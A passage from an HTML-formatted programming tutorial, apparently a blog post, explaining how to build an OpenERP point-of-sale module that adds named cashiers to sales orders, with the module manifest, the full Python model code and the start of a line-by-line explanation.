<code class="python_literal2">This</code><code class="python_literal2"> </code><code class="python_literal2">could</code><code class="python_literal2"> </code><code class="python_literal2">be</code><code class="python_literal2"> </code><code class="python_literal2">handy</code><code class="python_literal2"> </code><code class="python_literal2">in</code><code class="python_literal2"> </code><code class="python_literal2">case</code><code class="python_literal2"> </code><code class="python_literal2">of</code><code class="python_literal2"> </code><code class="python_literal2">using</code><code class="python_literal2"> </code><code class="python_literal2">the</code><code class="python_literal2"> </code><code class="python_literal2">same</code><code class="python_literal2"> </code><code class="python_literal2">POS</code><code class="python_literal2"> </code><code class="python_literal2">at</code><code class="python_literal2"> </code><code class="python_literal2">the</code><code class="python_literal2"> </code><code class="python_literal2">same</code><code class="python_literal2"> </code><code class="python_literal2">cash</code><code class="python_literal2"> </code><code class="python_literal2">register</code><code class="python_literal2"> </code><code class="python_literal2">while</code><code class="python_literal2"> </code><code class="python_literal2">it</code><code class="python_literal2"> </code><code class="python_literal2">is</code><code class="python_literal2"> </code><code class="python_literal2">used</code><code class="python_literal2"> </code><code class="python_literal2">by</code><code class="python_literal2"> </code><code class="python_literal2">several</code><code class="python_literal2"> </code><code class="python_literal2">cashiers</code><code class="python_literal2">.</code>
<code class="python_literal2">Cashier</code><code class="python_literal2">'</code><code class="python_literal2">s</code><code class="python_literal2"> </code><code class="python_literal2">name</code><code class="python_literal2"> </code><code class="python_literal2">is</code><code class="python_literal2"> </code><code class="python_literal2">displayed</code><code class="python_literal2"> </code><code class="python_literal2">on</code><code class="python_literal2"> </code><code class="python_literal2">the</code><code class="python_literal2"> </code><code class="python_literal2">payement</code><code class="python_literal2"> </code><code class="python_literal2">receipt</code><code class="python_literal2"> </code><code class="python_literal2">and</code><code class="python_literal2"> </code><code class="python_literal2">on</code><code class="python_literal2"> </code><code class="python_literal2">the</code><code class="python_literal2"> </code><code class="python_literal2">order</code><code class="python_literal2">.</code>
<code class="python_literal2">Cashiers</code><code class="python_literal2"> </code><code class="python_literal2">are</code><code class="python_literal2"> </code><code class="python_literal2">allowed</code><code class="python_literal2"> </code><code class="python_literal2">to</code><code class="python_literal2"> </code><code class="python_literal2">change</code><code class="python_literal2"> </code><code class="python_literal2">the</code><code class="python_literal2"> </code><code class="python_literal2">current</code><code class="python_literal2"> </code><code class="python_literal2">cashier</code><code class="python_literal2"> </code><code class="python_literal2">(</code><code class="python_literal2">by</code><code class="python_literal2"> </code><code class="python_literal2">choosing</code><code class="python_literal2"> </code><code class="python_literal2">their</code><code class="python_literal2"> </code><code class="python_literal2">name</code><code class="python_literal2"> </code><code class="python_literal2">in</code><code class="python_literal2"> </code><code class="python_literal2">the</code><code class="python_literal2"> </code><code class="python_literal2">drop</code><code class="python_literal2">-</code><code class="python_literal2">down</code><code class="python_literal2"> </code><code class="python_literal2">list</code><code class="python_literal2">)</code><code class="python_literal2"> </code><code class="python_literal2">and</code><code class="python_literal2"> </code><code class="python_literal2">can</code><code class="python_literal2"> </code><code class="python_literal2">make</code><code class="python_literal2"> </code><code class="python_literal2">a</code><code class="python_literal2"> </code><code class="python_literal2">sell</code><code class="python_literal2"> </code><code class="python_literal2">without</code><code class="python_literal2"> </code><code class="python_literal2">creating</code><code class="python_literal2"> </code><code class="python_literal2">a</code><code class="python_literal2"> </code><code class="python_literal2">new</code><code class="python_literal2"> </code><code class="python_literal2">session</code><code class="python_literal2">.</code>
<code class="python_literal2">Cashier</code><code class="python_literal2">'</code><code class="python_literal2">s</code><code class="python_literal2"> </code><code class="python_literal2">name</code><code class="python_literal2"> </code><code class="python_literal2">is</code><code class="python_literal2"> </code><code class="python_literal2">mandatory</code><code class="python_literal2">.</code><code class="python_literal2"> </code><code class="python_literal2">You</code><code class="python_literal2"> </code><code class="python_literal2">cannot</code><code class="python_literal2"> </code><code class="python_literal2">perform</code><code class="python_literal2"> </code><code class="python_literal2">a</code><code class="python_literal2"> </code><code class="python_literal2">sell</code><code class="python_literal2"> </code><code class="python_literal2">if</code><code class="python_literal2"> </code><code class="python_literal2">no</code><code class="python_literal2"> </code><code class="python_literal2">cashier</code><code class="python_literal2"> </code><code class="python_literal2">has</code><code class="python_literal2"> </code><code class="python_literal2">been</code><code class="python_literal2"> </code><code class="python_literal2">created</code><code class="python_literal2"> </code><code class="python_literal2">or</code><code class="python_literal2"> </code><code class="python_literal2">is</code><code class="python_literal2"> </code><code class="python_literal2">active</code><code class="python_literal2"> </code><code class="python_literal2">in</code><code class="python_literal2"> </code><code class="python_literal2">your</code><code class="python_literal2"> </code><code class="python_literal2">POS</code><code class="python_literal2">.</code>
<code class="python_literal2">The</code><code class="python_literal2"> </code><code class="python_literal2">shop</code><code class="python_literal2"> </code><code class="python_literal2">manager</code><code class="python_literal2"> </code><code class="python_literal2">will</code><code class="python_literal2"> </code><code class="python_literal2">know</code><code class="python_literal2"> </code><code class="python_literal2">who</code><code class="python_literal2"> </code><code class="python_literal2">made</code><code class="python_literal2"> </code><code class="python_literal2">the</code><code class="python_literal2"> </code><code class="python_literal2">sell</code><code class="python_literal2">.</code>
<code class="python_literal2"> </code><code class="python_literal2"> </code><code class="python_literal2"> </code><code class="python_literal2"> </code><code class="python_literal2">"""</code>,
<code class="python_literal1">'</code><code class="python_literal1">depends</code><code class="python_literal1">'</code>: [<code class="python_literal1">"</code><code class="python_literal1">point_of_sale</code><code class="python_literal1">"</code>],
<code class="python_literal1">'</code><code class="python_literal1">data</code><code class="python_literal1">'</code>: [
<code class="python_literal1">'</code><code class="python_literal1">security</code><code class="python_literal1">/</code><code class="python_literal1">pos_cashier_security</code><code class="python_literal1">.</code><code class="python_literal1">xml</code><code class="python_literal1">'</code>,
<code class="python_literal1">'</code><code class="python_literal1">security</code><code class="python_literal1">/</code><code class="python_literal1">ir</code><code class="python_literal1">.</code><code class="python_literal1">model</code><code class="python_literal1">.</code><code class="python_literal1">access</code><code class="python_literal1">.</code><code class="python_literal1">csv</code><code class="python_literal1">'</code>,
<code class="python_literal1">'</code><code class="python_literal1">cashier_view</code><code class="python_literal1">.</code><code class="python_literal1">xml</code><code class="python_literal1">'</code>,
<code class="python_literal1">'</code><code class="python_literal1">order_cashier_view</code><code class="python_literal1">.</code><code class="python_literal1">xml</code><code class="python_literal1">'</code>,
],
<code class="python_literal1">'</code><code class="python_literal1">js</code><code class="python_literal1">'</code>: [
<code class="python_literal1">'</code><code class="python_literal1">static</code><code class="python_literal1">/</code><code class="python_literal1">src</code><code class="python_literal1">/</code><code class="python_literal1">js</code><code class="python_literal1">/</code><code class="python_literal1">pos_cashier</code><code class="python_literal1">.</code><code class="python_literal1">js</code><code class="python_literal1">'</code>,
],
<code class="python_literal1">'</code><code class="python_literal1">css</code><code class="python_literal1">'</code>: [
<code class="python_literal1">'</code><code class="python_literal1">static</code><code class="python_literal1">/</code><code class="python_literal1">src</code><code class="python_literal1">/</code><code class="python_literal1">css</code><code class="python_literal1">/</code><code class="python_literal1">pos_cashier</code><code class="python_literal1">.</code><code class="python_literal1">css</code><code class="python_literal1">'</code>,
],
<code class="python_literal1">'</code><code class="python_literal1">qweb</code><code class="python_literal1">'</code>: [
<code class="python_literal1">'</code><code class="python_literal1">static</code><code class="python_literal1">/</code><code class="python_literal1">src</code><code class="python_literal1">/</code><code class="python_literal1">xml</code><code class="python_literal1">/</code><code class="python_literal1">pos_cashier</code><code class="python_literal1">.</code><code class="python_literal1">xml</code><code class="python_literal1">'</code>,
],
<code class="python_literal1">'</code><code class="python_literal1">installable</code><code class="python_literal1">'</code>: <code class="python_keyword3">True</code>,
<code class="python_literal1">'</code><code class="python_literal1">application</code><code class="python_literal1">'</code>: <code class="python_keyword3">False</code>,
<code class="python_literal1">'</code><code class="python_literal1">auto_install</code><code class="python_literal1">'</code>: <code class="python_keyword3">False</code>,
}
</code></pre>
</div>
<div class="imgtext-warning">
<b>If you copy the code from this page</b><br />
Beware of Python code indentation. This can be estimated in this article. This is due to the editor I used to write this article.<br />
The source code of the module can be downloaded at the bottom of the page.</div>
<b>The file is to fill like this</b>
<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e1638">
<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e1638" onclick="selectionCode('contenuCoded0e1638');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e1638"><code class="python_literal1">'</code><code class="python_literal1">parameter</code><code class="python_literal1">'</code>: <code class="python_literal1">'</code><code class="python_literal1">value</code><code class="python_literal1">'</code>,
<code class="python_literal1">'</code><code class="python_literal1">parameter</code><code class="python_literal1">'</code>: [<code class="python_literal1">'</code><code class="python_literal1">value1</code><code class="python_literal1">'</code>,<code class="python_literal1">'</code><code class="python_literal1">value2</code><code class="python_literal1">'</code>,<code class="python_literal1">'</code><code class="python_literal1">value3</code><code class="python_literal1">'</code>],
</code></pre>
</div>
The data are noted as <b>key:value</b> separated by a comma (end of line).<br />
The value can also contain an array like in the case of <b>depends</b>, <b>data</b>,<b> js</b> parameters , etc..<br />
<b>Parameters :</b> <br />
<ul class="ListeDVP">
<li><b>name :</b> the module name;</li>
<li><b>version :</b> the module version;</li>
<li><b>category :</b> the category in which you put the module;</li>
<li><b>sequence :</b> This is a number that will show your module in the list of modules. 1, it will be up, 100 it will be down ;</li>
<li><b>author :</b> author of the module ;</li>
<li><b>summary :</b> a summary that explains what is your module. A very short text, it appears under the name of the module in the module list ;</li>
<li><b>description :</b> the full description of the module ;</li>
<li><b>depends :</b> modules that your module depends;</li>
<li><b>data :</b> files to load ;</li>
<li><b>js :</b> in case of a Web module like this one, the JavaScript files;</li>
<li><b>css :</b> the stylesheet;</li>
<li><b>qweb :</b> View of the Web Part (Template);</li>
<li><b>installable :</b> if your module is installable or not;</li>
<li><b>application :</b> set it to False. Your module will not be recognized as an application. It's OpenERP that issues certificates that qualify your module as an application;</li>
<li><b>auto_install :</b> set it to False, we will install the module by hand. (With a button, anyway ...)</li>
</ul>
There are other parameters, but for this module we have enough like that,<br />
<b>The « description » parameter</b><br />
To insert a text on multiple lines, you must enclose with three double quotes<br />
(""" text here """) <br /><br />
Put the fullest possible description.<br />
To return to the line, you actually have to jump one more, otherwise the new line will not be visible in OpenERP.<br />
<div class="imgtext-idea">
Underline text with the <b>=</b> sign will appear as the <h1></h1> web tag.</div>
We created two files (which still bear the same names) for module initialization. But this is not enough!<br /><br />
As we stated in the <b>__ init__.py</b> file, OpenERP will attempt to load the <b>pos_cashier</b> module. We must now create the <b>pos_cashier.py </b>file (the module itself).</div>
<h3 class="TitreSection2" id="LVII-B-3">
VII-B-3. The pos_cashier.py file<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h3>
<div class="BlocSection2">
I put the contents of the entire file.<br />
Do not worry, we'll dissect it all quietly.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e1834">
pos_cashier.py<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e1834" onclick="selectionCode('contenuCoded0e1834');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e1834"> <code class="python_comment1">#</code><code class="python_comment1"> </code><code class="python_comment1">-*-</code><code class="python_comment1"> </code><code class="python_comment1">coding:</code><code class="python_comment1"> </code><code class="python_comment1">utf-8</code><code class="python_comment1"> </code><code class="python_comment1">-*-</code>
<code class="python_comment1">#</code><code class="python_comment1">#############################################################################</code>
<code class="python_comment1">#</code><code class="python_comment1"> </code><code class="python_comment1"> </code><code class="python_comment1"> </code><code class="python_comment1"> </code>
<code class="python_comment1">#</code><code class="python_comment1"> </code><code class="python_comment1">Module</code><code class="python_comment1"> </code><code class="python_comment1">:</code><code class="python_comment1"> </code><code class="python_comment1">pos_cashier</code>
<code class="python_comment1">#</code><code class="python_comment1"> </code><code class="python_comment1">Créé</code><code class="python_comment1"> </code><code class="python_comment1">le</code><code class="python_comment1"> </code><code class="python_comment1">:</code><code class="python_comment1"> </code><code class="python_comment1">2013-06-06</code><code class="python_comment1"> </code><code class="python_comment1">par</code><code class="python_comment1"> </code><code class="python_comment1">Thierry</code><code class="python_comment1"> </code><code class="python_comment1">Godin</code>
<code class="python_comment1">#</code>
<code class="python_comment1">#</code><code class="python_comment1"> </code><code class="python_comment1">Module</code><code class="python_comment1"> </code><code class="python_comment1">permettant</code><code class="python_comment1"> </code><code class="python_comment1">la</code><code class="python_comment1"> </code><code class="python_comment1">création</code><code class="python_comment1"> </code><code class="python_comment1">de</code><code class="python_comment1"> </code><code class="python_comment1">vendeurs</code><code class="python_comment1"> </code><code class="python_comment1">pour</code><code class="python_comment1"> </code><code class="python_comment1">les</code><code class="python_comment1"> </code><code class="python_comment1">points</code><code class="python_comment1"> </code><code class="python_comment1">de</code><code class="python_comment1"> </code><code class="python_comment1">vente</code>
<code class="python_comment1">#</code>
<code class="python_comment1">#</code><code class="python_comment1">#############################################################################</code>
<code class="python_keyword1">import</code> openerp
<code class="python_keyword1">from</code> openerp <code class="python_keyword1">import</code> netsvc, tools, pooler
<code class="python_keyword1">from</code> openerp.osv <code class="python_keyword1">import</code> fields, osv
<code class="python_keyword1">from</code> openerp.tools.translate <code class="python_keyword1">import</code> _
<code class="python_keyword1">import</code> time
<code class="python_keyword1">class</code> <code class="python_function">pos_cashier</code>(osv.osv):
_name <code class="python_operator">=</code> <code class="python_literal1">'</code><code class="python_literal1">pos</code><code class="python_literal1">.</code><code class="python_literal1">cashier</code><code class="python_literal1">'</code>
_order <code class="python_operator">=</code> <code class="python_literal1">'</code><code class="python_literal1">cashier_name</code><code class="python_literal1"> </code><code class="python_literal1">asc</code><code class="python_literal1">'</code>
_columns <code class="python_operator">=</code> {
<code class="python_literal1">'</code><code class="python_literal1">pos_config_id</code><code class="python_literal1">'</code> : fields.<code class="python_function">many2one</code>(<code class="python_literal1">'</code><code class="python_literal1">pos</code><code class="python_literal1">.</code><code class="python_literal1">config</code><code class="python_literal1">'</code>, <code class="python_literal1">'</code><code class="python_literal1">Point</code><code class="python_literal1"> </code><code class="python_literal1">Of</code><code class="python_literal1"> </code><code class="python_literal1">Sale</code><code class="python_literal1">'</code>, required<code class="python_operator">=</code><code class="python_keyword3">True</code>),
<code class="python_literal1">'</code><code class="python_literal1">cashier_name</code><code class="python_literal1">'</code>: fields.<code class="python_function">char</code>(<code class="python_literal1">'</code><code class="python_literal1">Cashier</code><code class="python_literal1">'</code>, size<code class="python_operator">=</code><code class="python_digit">128</code>, required<code class="python_operator">=</code><code class="python_keyword3">True</code>),
<code class="python_literal1">'</code><code class="python_literal1">active</code><code class="python_literal1">'</code>: fields.<code class="python_function">boolean</code>(<code class="python_literal1">'</code><code class="python_literal1">Active</code><code class="python_literal1">'</code>, help<code class="python_operator">=</code><code class="python_literal1">"</code><code class="python_literal1">If</code><code class="python_literal1"> </code><code class="python_literal1">a</code><code class="python_literal1"> </code><code class="python_literal1">cashier</code><code class="python_literal1"> </code><code class="python_literal1">is</code><code class="python_literal1"> </code><code class="python_literal1">not</code><code class="python_literal1"> </code><code class="python_literal1">active</code><code class="python_literal1">,</code><code class="python_literal1"> </code><code class="python_literal1">it</code><code class="python_literal1"> </code><code class="python_literal1">will</code><code class="python_literal1"> </code><code class="python_literal1">not</code><code class="python_literal1"> </code><code class="python_literal1">be</code><code class="python_literal1"> </code><code class="python_literal1">displayed</code><code class="python_literal1"> </code><code class="python_literal1">in</code><code class="python_literal1"> </code><code class="python_literal1">POS</code><code class="python_literal1">"</code>),
}
_defaults <code class="python_operator">=</code> {
<code class="python_literal1">'</code><code class="python_literal1">cashier_name</code><code class="python_literal1">'</code> : <code class="python_literal1">'</code><code class="python_literal1">'</code>,
<code class="python_literal1">'</code><code class="python_literal1">active</code><code class="python_literal1">'</code> : <code class="python_keyword3">True</code>,
<code class="python_literal1">'</code><code class="python_literal1">pos_config_id</code><code class="python_literal1">'</code>: <code class="python_keyword1">lambda</code> self,cr,uid,c: self.pool.<code class="python_function">get</code>(<code class="python_literal1">'</code><code class="python_literal1">res</code><code class="python_literal1">.</code><code class="python_literal1">users</code><code class="python_literal1">'</code>).<code class="python_function">browse</code>(cr, uid, uid, c).pos_config.<code class="python_keyword2">id</code>,
}
_sql_constraints <code class="python_operator">=</code> [
(<code class="python_literal1">'</code><code class="python_literal1">uniq_name</code><code class="python_literal1">'</code>, <code class="python_literal1">'</code><code class="python_literal1">unique</code><code class="python_literal1">(</code><code class="python_literal1">cashier_name</code><code class="python_literal1">,</code><code class="python_literal1"> </code><code class="python_literal1">pos_config_id</code><code class="python_literal1">)</code><code class="python_literal1">'</code>, <code class="python_literal1">"</code><code class="python_literal1">A</code><code class="python_literal1"> </code><code class="python_literal1">cashier</code><code class="python_literal1"> </code><code class="python_literal1">already</code><code class="python_literal1"> </code><code class="python_literal1">exists</code><code class="python_literal1"> </code><code class="python_literal1">with</code><code class="python_literal1"> </code><code class="python_literal1">this</code><code class="python_literal1"> </code><code class="python_literal1">name</code><code class="python_literal1"> </code><code class="python_literal1">in</code><code class="python_literal1"> </code><code class="python_literal1">this</code><code class="python_literal1"> </code><code class="python_literal1">Point</code><code class="python_literal1"> </code><code class="python_literal1">Of</code><code class="python_literal1"> </code><code class="python_literal1">sale</code><code class="python_literal1">.</code><code class="python_literal1"> </code><code class="python_literal1">Cashier</code><code class="python_literal1">'</code><code class="python_literal1">s</code><code class="python_literal1"> </code><code class="python_literal1">name</code><code class="python_literal1"> </code><code class="python_literal1">must</code><code class="python_literal1"> </code><code class="python_literal1">be</code><code class="python_literal1"> </code><code class="python_literal1">unique</code><code class="python_literal1">!</code><code class="python_literal1">"</code>),
]
<code class="python_keyword1">class</code> <code class="python_function">inherit_pos_order_for_cashiers</code>(osv.osv):
_name<code class="python_operator">=</code><code class="python_literal1">'</code><code class="python_literal1">pos</code><code class="python_literal1">.</code><code class="python_literal1">order</code><code class="python_literal1">'</code>
_inherit<code class="python_operator">=</code><code class="python_literal1">'</code><code class="python_literal1">pos</code><code class="python_literal1">.</code><code class="python_literal1">order</code><code class="python_literal1">'</code>
<code class="python_keyword1">def</code> <code class="python_function">create_from_ui</code>(self, cr, uid, orders, context<code class="python_operator">=</code><code class="python_keyword3">None</code>):
<code class="python_comment1">#</code><code class="python_comment1">_logger.info("orders:</code><code class="python_comment1"> </code><code class="python_comment1">%r",</code><code class="python_comment1"> </code><code class="python_comment1">orders)</code>
order_ids <code class="python_operator">=</code> []
<code class="python_keyword1">for</code> tmp_order <code class="python_keyword1">in</code> orders:
order <code class="python_operator">=</code> tmp_order[<code class="python_literal1">'</code><code class="python_literal1">data</code><code class="python_literal1">'</code>]
order_id <code class="python_operator">=</code> self.<code class="python_function">create</code>(cr, uid, {
<code class="python_literal1">'</code><code class="python_literal1">name</code><code class="python_literal1">'</code>: order[<code class="python_literal1">'</code><code class="python_literal1">name</code><code class="python_literal1">'</code>],
<code class="python_literal1">'</code><code class="python_literal1">user_id</code><code class="python_literal1">'</code>: order[<code class="python_literal1">'</code><code class="python_literal1">user_id</code><code class="python_literal1">'</code>] <code class="python_keyword1">or</code> <code class="python_keyword3">False</code>,
<code class="python_literal1">'</code><code class="python_literal1">session_id</code><code class="python_literal1">'</code>: order[<code class="python_literal1">'</code><code class="python_literal1">pos_session_id</code><code class="python_literal1">'</code>],
<code class="python_literal1">'</code><code class="python_literal1">lines</code><code class="python_literal1">'</code>: order[<code class="python_literal1">'</code><code class="python_literal1">lines</code><code class="python_literal1">'</code>],
<code class="python_literal1">'</code><code class="python_literal1">pos_reference</code><code class="python_literal1">'</code>:order[<code class="python_literal1">'</code><code class="python_literal1">name</code><code class="python_literal1">'</code>],
<code class="python_literal1">'</code><code class="python_literal1">cashier_name</code><code class="python_literal1">'</code>: order[<code class="python_literal1">'</code><code class="python_literal1">cashier_name</code><code class="python_literal1">'</code>]
}, context)
<code class="python_keyword1">for</code> payments <code class="python_keyword1">in</code> order[<code class="python_literal1">'</code><code class="python_literal1">statement_ids</code><code class="python_literal1">'</code>]:
payment <code class="python_operator">=</code> payments[<code class="python_digit">2</code>]
self.<code class="python_function">add_payment</code>(cr, uid, order_id, {
<code class="python_literal1">'</code><code class="python_literal1">amount</code><code class="python_literal1">'</code>: payment[<code class="python_literal1">'</code><code class="python_literal1">amount</code><code class="python_literal1">'</code>] <code class="python_keyword1">or</code> <code class="python_digit">0</code>.<code class="python_digit">0</code>,
<code class="python_literal1">'</code><code class="python_literal1">payment_date</code><code class="python_literal1">'</code>: payment[<code class="python_literal1">'</code><code class="python_literal1">name</code><code class="python_literal1">'</code>],
<code class="python_literal1">'</code><code class="python_literal1">statement_id</code><code class="python_literal1">'</code>: payment[<code class="python_literal1">'</code><code class="python_literal1">statement_id</code><code class="python_literal1">'</code>],
<code class="python_literal1">'</code><code class="python_literal1">payment_name</code><code class="python_literal1">'</code>: payment.<code class="python_function">get</code>(<code class="python_literal1">'</code><code class="python_literal1">note</code><code class="python_literal1">'</code>, <code class="python_keyword3">False</code>),
<code class="python_literal1">'</code><code class="python_literal1">journal</code><code class="python_literal1">'</code>: payment[<code class="python_literal1">'</code><code class="python_literal1">journal_id</code><code class="python_literal1">'</code>]
}, context<code class="python_operator">=</code>context)
<code class="python_keyword1">if</code> order[<code class="python_literal1">'</code><code class="python_literal1">amount_return</code><code class="python_literal1">'</code>]:
session <code class="python_operator">=</code> self.pool.<code class="python_function">get</code>(<code class="python_literal1">'</code><code class="python_literal1">pos</code><code class="python_literal1">.</code><code class="python_literal1">session</code><code class="python_literal1">'</code>).<code class="python_function">browse</code>(cr, uid, order[<code class="python_literal1">'</code><code class="python_literal1">pos_session_id</code><code class="python_literal1">'</code>], context<code class="python_operator">=</code>context)
cash_journal <code class="python_operator">=</code> session.cash_journal_id
cash_statement <code class="python_operator">=</code> <code class="python_keyword3">False</code>
<code class="python_keyword1">if</code> <code class="python_keyword1">not</code> cash_journal:
cash_journal_ids <code class="python_operator">=</code> <code class="python_keyword2">filter</code>(<code class="python_keyword1">lambda</code> st: st.journal_id.<code class="python_keyword2">type</code><code class="python_operator">=</code><code class="python_operator">=</code><code class="python_literal1">'</code><code class="python_literal1">cash</code><code class="python_literal1">'</code>, session.statement_ids)
<code class="python_keyword1">if</code> <code class="python_keyword1">not</code> <code class="python_keyword2">len</code>(cash_journal_ids):
<code class="python_keyword1">raise</code> osv.<code class="python_function">except_osv</code>( <code class="python_function">_</code>(<code class="python_literal1">'</code><code class="python_literal1">error</code><code class="python_literal1">!</code><code class="python_literal1">'</code>),
<code class="python_function">_</code>(<code class="python_literal1">"</code><code class="python_literal1">No</code><code class="python_literal1"> </code><code class="python_literal1">cash</code><code class="python_literal1"> </code><code class="python_literal1">statement</code><code class="python_literal1"> </code><code class="python_literal1">found</code><code class="python_literal1"> </code><code class="python_literal1">for</code><code class="python_literal1"> </code><code class="python_literal1">this</code><code class="python_literal1"> </code><code class="python_literal1">session</code><code class="python_literal1">.</code><code class="python_literal1"> </code><code class="python_literal1">Unable</code><code class="python_literal1"> </code><code class="python_literal1">to</code><code class="python_literal1"> </code><code class="python_literal1">record</code><code class="python_literal1"> </code><code class="python_literal1">returned</code><code class="python_literal1"> </code><code class="python_literal1">cash</code><code class="python_literal1">.</code><code class="python_literal1">"</code>))
cash_journal <code class="python_operator">=</code> cash_journal_ids[<code class="python_digit">0</code>].journal_id
self.<code class="python_function">add_payment</code>(cr, uid, order_id, {
<code class="python_literal1">'</code><code class="python_literal1">amount</code><code class="python_literal1">'</code>: <code class="python_operator">-</code>order[<code class="python_literal1">'</code><code class="python_literal1">amount_return</code><code class="python_literal1">'</code>],
<code class="python_literal1">'</code><code class="python_literal1">payment_date</code><code class="python_literal1">'</code>: time.<code class="python_function">strftime</code>(<code class="python_literal1">'</code><code class="python_literal1">%</code><code class="python_literal1">Y</code><code class="python_literal1">-</code><code class="python_literal1">%</code><code class="python_literal1">m</code><code class="python_literal1">-</code><code class="python_literal4">%d</code><code class="python_literal1"> </code><code class="python_literal1">%</code><code class="python_literal1">H</code><code class="python_literal1">:</code><code class="python_literal1">%</code><code class="python_literal1">M</code><code class="python_literal1">:</code><code class="python_literal4">%S</code><code class="python_literal1">'</code>),
<code class="python_literal1">'</code><code class="python_literal1">payment_name</code><code class="python_literal1">'</code>: <code class="python_function">_</code>(<code class="python_literal1">'</code><code class="python_literal1">return</code><code class="python_literal1">'</code>),
<code class="python_literal1">'</code><code class="python_literal1">journal</code><code class="python_literal1">'</code>: cash_journal.<code class="python_keyword2">id</code>,
}, context<code class="python_operator">=</code>context)
order_ids.<code class="python_function">append</code>(order_id)
wf_service <code class="python_operator">=</code> netsvc.<code class="python_function">LocalService</code>(<code class="python_literal1">"</code><code class="python_literal1">workflow</code><code class="python_literal1">"</code>)
wf_service.<code class="python_function">trg_validate</code>(uid, <code class="python_literal1">'</code><code class="python_literal1">pos</code><code class="python_literal1">.</code><code class="python_literal1">order</code><code class="python_literal1">'</code>, order_id, <code class="python_literal1">'</code><code class="python_literal1">paid</code><code class="python_literal1">'</code>, cr)
<code class="python_keyword1">return</code> order_ids
_columns <code class="python_operator">=</code> {
<code class="python_literal1">'</code><code class="python_literal1">cashier_name</code><code class="python_literal1">'</code>: fields.<code class="python_function">char</code>(<code class="python_literal1">'</code><code class="python_literal1">Cashier</code><code class="python_literal1">'</code>, size<code class="python_operator">=</code><code class="python_digit">128</code>),
}
<code class="python_function">inherit_pos_order_for_cashiers</code>()
</code></pre>
</div>
<b>At the very beginning of the file</b><br />
We will import the libraries we need for the module.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e2962">
<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e2962" onclick="selectionCode('contenuCoded0e2962');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e2962"><code class="python_keyword1">import</code> openerp
<code class="python_keyword1">from</code> openerp <code class="python_keyword1">import</code> netsvc, tools, pooler
<code class="python_keyword1">from</code> openerp.osv <code class="python_keyword1">import</code> fields, osv
<code class="python_keyword1">from</code> openerp.tools.translate <code class="python_keyword1">import</code> _
<code class="python_keyword1">import</code> time
</code></pre>
</div>
This is necessary because we will use native OpenERP and Python functions.<br />
<b>Then we create the Python object</b>
<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e2997">
Object is stated like this<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e2997" onclick="selectionCode('contenuCoded0e2997');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e2997"> <code class="python_keyword1">class</code> <code class="python_function">pos_cashier</code>(osv.osv):
</code></pre>
</div>
<div class="imgtext-warning">
From now on, we must be very careful with the code indentation. You will notice that there is no signal of the end of the object.<br />
This is why we must pay attention to the code editor we use, it must be able to handle Python for apropriate indentation.<br />
If in doubt, do not hesitate to read this page : <img alt="Image non disponible" class="image_verticale" height="12px" src="./images/100000000000000C0000000C8ED6566A.jpg" width="12px" /><a class=" tooltip blue-tooltip lienArticle simple" href="http://python.developpez.com/faq/" target="_blank">FAQ PythonFAQ Python</a> and this one : <img alt="Image non disponible" class="image_verticale" height="12px" src="./images/100000000000000C0000000C8ED6566A.jpg" width="12px" /><a class=" tooltip blue-tooltip lienArticle simple" href="http://python.developpez.com/cours/" target="_blank">Cours PythonCours Python</a>.</div>
<h4 class="TitreSection3" id="LVII-B-3-a">
VII-B-3-a. Statements<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h4>
<div class="BlocSection3">
<b><span style="color: red;">_name :</span></b> is the name of the table in OpenERP database. In fact, the table is really named <b>« pos_cashier »</b> in the database.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e3035">
_name<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e3035" onclick="selectionCode('contenuCoded0e3035');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e3035"> _name <code class="python_operator">=</code> <code class="python_literal1">'</code><code class="python_literal1">pos</code><code class="python_literal1">.</code><code class="python_literal1">cashier</code><code class="python_literal1">'</code>
</code></pre>
</div>
<b><span style="color: red;">_order :</span></b> as you may understand , this is like SQL statement <b>« ORDER BY »</b>. Here, cashiers will be sorted by their names<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e3061">
_order<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e3061" onclick="selectionCode('contenuCoded0e3061');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e3061"> _order <code class="python_operator">=</code> <code class="python_literal1">'</code><code class="python_literal1">cashier_name</code><code class="python_literal1"> </code><code class="python_literal1">asc</code><code class="python_literal1">'</code>
</code></pre>
</div>
<b><span style="color: red;">_columns :</span></b> these are the fields that will be created in the <b>pos_cashier</b> table.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e3087">
_columns<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e3087" onclick="selectionCode('contenuCoded0e3087');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e3087"> _columns <code class="python_operator">=</code> {
